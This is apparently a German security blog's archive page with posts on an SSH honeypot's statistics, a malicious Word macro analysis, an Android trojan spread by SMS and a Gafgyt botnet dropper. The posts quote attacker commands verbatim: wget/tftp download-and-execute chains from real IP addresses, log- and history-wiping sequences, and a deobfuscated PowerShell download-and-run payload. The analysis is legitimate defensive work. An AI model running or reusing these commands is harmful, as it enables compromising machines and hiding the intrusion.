Author Archives: Patrick

Honeypot Project – Auswertung #2

Nun, nach knapp 2 Monaten an Laufzeit für meinen SSH-Honeypot, möchte ich nochmals kurz Bilanz ziehen und schauen, was so gegangen ist in letzter Zeit.

Aktuell hat mein Honeypot fast 40k Verbindungen erfasst von über Eintausend IPs:

Anzahl Verbindungen: 40’127
Anzahl Uniq-IP: 1’053

Da ich viele der bekanntesten Passwörter wie „root“, „toor“, „password“, etc. filtere waren auch nicht alle Logins erfolgreich:

Anzahl Passwörter: 66’893
Anzahl erfolgreiche Logins: 3’670

Doch all jene, welche durchgekommen sind, haben sich auch gleich umgesehen:

Anzahl CMD: 2’688

Die Grosszahl der Befehle, welche abgesetzt werden, dienen dem Nachladen von weiteren Scripten:

cd /var/ || cd /tmp/ || cd /var/run || cd /var/tmp/ || cd /dev/ || cd /mnt/
busybox wget http://64.95.100.88/.fagbin.sh || wget http://64.95.100.88/.fagbin.sh
busybox bash .fagbin.sh || sh .fagbin.sh
rm -rf .fagbin.sh
busybox tftp -r .fagbin2.sh -g 64.95.100.88 || tftp -r .fagbin2.sh -g 64.95.100.88
busybox bash .fagbin2.sh || sh .fagbin2.sh
busybox tftp 64.95.100.88 -c get .fagbin3.sh || tftp 64.95.100.88 -c get .fagbin3.sh
busybox bash .fagbin3.sh || sh .fagbin3.sh
rm -rf .fagbin2.sh .fagbin3.sh .fagbin.sh

Aber auch Testskripte für Speedtests sehe ich immer öfters. Hier soll der Server wohl als DDoS-Bot dienen. Nur sehr selten sieht man etwas komplexere Versuche:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH
history -n
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
rm -rf /var/log/wtmp
rm -rf /var/log/lastlog
rm -rf /var/log/secure
rm -rf /var/log/xferlog
rm -rf /var/log/messages
rm -rf /var/log/syslog
rm -rf /var/run/utmp
touch /var/run/utmp
touch /var/log/messages
touch /var/log/wtmp
touch /var/log/messages
touch /var/log/xferlog
touch /var/log/secure
touch /var/log/lastlog
rm -rf /var/log/maillog
touch /var/log/maillog
rm -rf /root/.bash_history
touch /root/.bash_history
history -r
rm -rf /var/spool/mail/root

cd /tmp
wget http://212.154.211.81/j.txt
curl -O http://212.154.211.81/j.txt
fetch http://212.154.211.81/j.txt
lwp-download http://212.154.211.81/j.txt
perl j.txt 113.30.102.54
rm -rf *.txt
uname
free -m
cat /proc/cpuinfo
cat /etc/issue

Wer das Projekt auch verfolgen möchte, der kann das hier machen.

Neues Maldoc mit Substring-Obfuscation

Die Anzahl an Maldoc hat in letzter Zeit doch merklich zugenommen. Während sich die Emails der Versender, sowie der Inhalt der Dokumente immer weiterentwickeln, so bleiben die Schadcodes und Dropper mehr oder weniger stehen.

Fast immer gibt es ein Maldoc mit 2 Makros, einmal eine Entschleierungsfunktion und einmal der verschleierte Payload. So ist das auch bei folgendem Beispiel, welches mir zugesandt wurde:

MD5 8252487d2868460e543b06b08ab3fa35
SHA1 d510b7384b7e8ce3fa887f18d10f3dbd14cbf0ed
SHA256 440f976f1dc767acfc763f2c4df4d5a97819093e15e5f1cea25e4f92907abaa8

Im Dokument eingebettet die bekannten beiden Makros:

A: word/vbaProject.bin
 A1:       481 'PROJECT' aea827326f40d9b37ee04b2657304f8c
 A2:        65 'PROJECTwm' 22638e81fa887fedca797e15983097dd
 A3: M    1537 'VBA/Module1' 97554cc9b8aceb0c8f2fc7f41337db8f
 A4: M    6920 'VBA/ThisDocument' b9f2d3ed04e381a2127b79665d9d11b8
 A5:      3799 'VBA/_VBA_PROJECT' 28bd9d3afac2ad580dfd357e0373f231
 A6:       826 'VBA/dir' c41d9be1ff47107f96813bb0716bf127
B: word/activeX/activeX1.bin
 B1:        26 '\x03OCXNAME' 52091629f4ec3595fe17f5d3a4233d61
 B2:         6 '\x03ObjInfo' e28252a4dfe8cb4ca7c63a6e6a67d61e
 B3:        94 'Contents' 9a03dc7f52538eaf7489a2c9b4ea3973

Beim Durchschauen des Codes fällt dann auch sofort die Verschleierung auf:

oLxb = s("woebFeceF-hempmS/)ieN.p-eaj)otxoy(oe)oN=i.y.beniI tP)DhNn:-atjimt(ictN :ect;preSuOlte.n e.s$mm$fe[cWsbCm'eO$)a;
o]elGOdTelp 'lotaW/(rh(tewhtblicEcScctf/.fftSeetil.,n.f.t(w:", 949, 1597)

Vom Look and Feel sieht die Funktion aus wie ein Substring oder so. Also nimmt man sich mal die Funktion s(), und schaut mal was die genau macht, bis man irgendwann auf folgenden Algorithmus kommt:

Function decrypt(ByVal strCrypt As String, ByVal intStart As Integer, ByVal intEnd As Integer) As String
    intMod = intStart Mod Len(strCrypt)
    Do While Len(decrypt) < Len(strCrypt)
        decrypt = decrypt & Mid(strCrypt, intMod + 1, 1)
        intMod = (intMod + intEnd) Mod Len(strCrypt)
    Loop
End Function

Nun filtert man noch alle Aufrufe der entsprechenden Funktion und kann sich so die verschleierten Strings anzeigen lassen und nach interessantem filtern. Es muss sich sicherlich mal um ein Powershell-Script handeln, denn aus:

rd inmpso-dPaahwEdonseSxeldslteni  lyc cp-.lu-yoWeetc wix ioBeneHomy

wird ganz plötzlich:

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -command

Und auch weitere Files sollen nachgeladen werden, denn aus:

woebFeceF-hempmS/)ieN.p-eaj)otxoy(oe)oN=i.y.beniI tP)DhNn:-atjimt(ictN :ect;preSuOlte.n e.s$mm$fe[cWsbCm'eO$)a;o]elGOdTelp 'lotaW/(rh(tewhtblicEcScctf/.fftSeetil.,n.f.t(w:

wird nun:

$f=[System.IO.Path]::GetTempFileName();
(New-Object System.Net.WebClient).DownloadFile('hXXp://thereputationco.com/office.bin', $f);
(New-Object -com WScript.Shell).Exec($f)

Und so weiter:

WinHttp.WinHttpRequest.5.1
https://wtfismyip.com/json
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Das Bin-File, welches heruntergeladen wird, wird zwar selbst nicht erkannt, ist aber bekannt im Zusammenhang mit Angler EK und Cryptowall

Android Trojaner als Post-App via SMS

Aktuell kursiert im Schweizer Mobilfunknetz ein Android-Trojaner getarnt als verpasstes Post-Paket:

image

Hinter dem Short-Link steht der Link zu einer APK-Datei, welche sich als Post-App ausgibt.

image

Am Ende ist es jedoch ein einfacher Trojaner:

image

Dies wird auch schnell klar, wenn man sich die App mal genauer anschaut. So verschafft sich das Ding ganz schön viele Berechtigungen, die jeden Smartphone-User hellhörig werden lassen sollten:

image

Am Besten ist es, die SMS zu löschen und sofort zu vergessen!

Honeypot Project – Auswertung

Mein Honypot ist nun knappe 10 Tage gelaufen und es ist Zeit für eine erste Auswertung.

Insgesamt sind fast 200 Uniq-IPs im Honeypot aufgeschlagen und haben zusammen ca. 28’500 Loginversuche ausgeführt – das sind rund 2 Passwortversuche pro Minute…

Davon waren aber gerade mal 434 erfolgreich (ich habe die bekanntesten Passwörter weggefiltert und die bereits erfolgreichen jeweils dem Exclude immer wieder ergänzt) und nur 131 haben tatsächlich ein Kommando auf dem System abgesetzt. Die am Meisten genutzten Kommandos sind erwartungsgemäss:

cmd

Dabei scheint es die meisten zu interessieren, wo sie sind und wie sie mit der Aussenwelt verbunden sind und erst dann lädt man sich mit wget neue Daten nach, macht ja auch nur so rum Sinn 🙂

Wenn man sich nun mal die benutzten Kombinationen anschaut, so fällt auf, dass die Standards wie „root/root“ oder „root/password“ zwar noch in den Top 15 dabei sind, jedoch nicht mehr ganz vorne dabei. Viel beliebter scheint „root/*“ zu sein:

passwoerter

Wenn man die User gesondert anschaut, so zeigt sich das übliche Bild:

user

Bei den Passwörtern hingegen kam für mich wieder die nächste Überraschung:

user_pw

Hier sind wieder Passwörter wie „*“ oder „**“ vorne dabei. Sehr spannend fand ich das Passwort „<b,bujY“. Dies scheint mir irgendwie viel zu spezifisch, als dass dies bei einer Brute-Force passen könnte… Vielleicht das Standardpasswort einer verbreiteten Software?

Freundliches Hallo aus Russland

Heute gab es eine spannende Begegnung mit einem Angreifer aus Russland:

Verbindung: 185.103.109.70
Version: SSH-2.0-libssh2_1.4.2
Login: root / admin

Kaum war die Verbindung aufgebaut, ging es auch schon los:

cd /tmp;
wget hXXp://185.22.173.65/bins.sh
chmod +x bins.sh
chmod 777 *
sh bins.sh"

Die Datei „bins.sh“ dient als einfacher Dropper:

MD5: 18dd76f99d222bf2cb193a5cdb872e3d
SHA1: 4fdb0beaaa8db435d771ba9deb7c01afc3b5a2c3
SHA256: 07fe22f4b754d28efd62157f7ee6aa4c1f63dd21dac33c2b600e42cbabff6daf
Magic literal: ASCII text

Sobald die Datei gestartet wird, werden weitere Ressourcen vom selben Server heruntergeladen:

wget hXXp://185.22.173.65/snarmv6; chmod +x snarmv6; chmod 777 *; ./snarmv6
wget hXXp://185.22.173.65/snmips; chmod +x snmips; chmod 777 *; ./snmips
wget hXXp://185.22.173.65/snmipsel; chmod +x snmipsel; chmod 777 *; ./snmipsel
wget hXXp://185.22.173.65/snpowerpc; chmod +x snpowerpc; chmod 777 *; ./snpowerpc
wget hXXp://185.22.173.65/snsh4; chmod +x snsh4; chmod 777 *; ./snsh4
wget hXXp://185.22.173.65/snmyx86; chmod +x snmyx86; chmod 777 *; ./snmyx86
wget hXXp://185.22.173.65/vmp; chmod +x vmp; chmod 777 *; ./vmp

Hinter den einzelnen Dateien steht der Trojaner Gafgyt in verschiedene Versionen, welcher dem Angreifer auch als Backdoor dient:

snarmv6: 657d00724e41e5c40331f5eb925e56acf7c9dd3188b2c0a268623ed6e580a556
snmips: c8aa69c0d6e3399411cfae7c65b70bf8b1b0c099c80613a302e53b2d04d2be16
snmipsel: 0388e01fec61499e6d5cc7b3b2d88353886ae619d83c0d8ae633b1eb8684bf9a
snpowerpc: 5e0f5df89d6589f4f67ab5b051da388f48dcaa66d21a14562f23157c0f9b54f1
snsh4: 9922bada2c9dee8529da8482b66f35b7df415c5cc291e675c688fdfa0db131cc
snmyx86: 40f47ddda5ca8ceacd1ca9f4dd4e65fb5f6749d33c083ed6bf83aa7b861821f1
vmp: 17d5252c3c9d1d37340bf91a2e0eedcf24890858100b270f5386616669edf11e

Circa eine Stunde später, war der liebe Kollege aber schon wieder auf meinem System jedoch mit neuen Befehlen:

cd /tmp
wget hXXp://107.172.41.130/bins.sh || curl -O hXXp://107.172.41.130/bins.sh
chmod 777 bins.sh
sh bins.sh
busybox tftp 107.172.41.130 -c get tftp1.sh
chmod 777 tftp1.sh
sh tftp1.sh
busybox tftp -r tftp2.sh -g 107.172.41.130
chmod 777 tftp2.sh
sh tftp2.sh
rm -rf bins.sh tftp1.sh tftp2.sh

Diesmal hat sich auch der Dropper etwas verändert, scheint wohl Version 2.0 zu sein.

cd /tmp; wget hXXp://107.172.41.130/GHfjfgvj; chmod 777 GHfjfgvj; ./GHfjfgvj; rm -rf GHfjfgvj
cd /tmp; wget hXXp://107.172.41.130/JIPJIPJj; chmod 777 JIPJIPJj; ./JIPJIPJj; rm -rf JIPJIPJj
cd /tmp; wget hXXp://107.172.41.130/jhUOH; chmod 777 jhUOH; ./jhUOH; rm -rf jhUOH
cd /tmp; wget hXXp://107.172.41.130/RYrydry; chmod 777 RYrydry; ./RYrydry; rm -rf RYrydry
cd /tmp; wget hXXp://107.172.41.130/UYyuyioy; chmod 777 UYyuyioy; ./UYyuyioy; rm -rf UYyuyioy
cd /tmp; wget hXXp://107.172.41.130/XDzdfxzf; chmod 777 XDzdfxzf; ./XDzdfxzf; rm -rf XDzdfxzf
cd /tmp; wget hXXp://107.172.41.130/JIPJuipjh; chmod 777 JIPJuipjh; ./JIPJuipjh; rm -rf JIPJuipjh
cd /tmp; wget hXXp://107.172.41.130/DFhxdhdf; chmod 777 DFhxdhdf; ./DFhxdhdf; rm -rf DFhxdhdf
cd /tmp; wget hXXp://107.172.41.130/FDFDHFC; chmod 777 FDFDHFC; ./FDFDHFC; rm -rf FDFDHFC
cd /tmp; wget hXXp://107.172.41.130/FTUdftui; chmod 777 FTUdftui; ./FTUdftui; rm -rf FTUdftui

Hinter den einzelnen Files steht am Schluss aber immer noch der selbe Trojaner, somit nichts neues an dieser Front. Aber mal schauen, ob wir uns bald wieder sehen, vielleicht mit Version 3.0…

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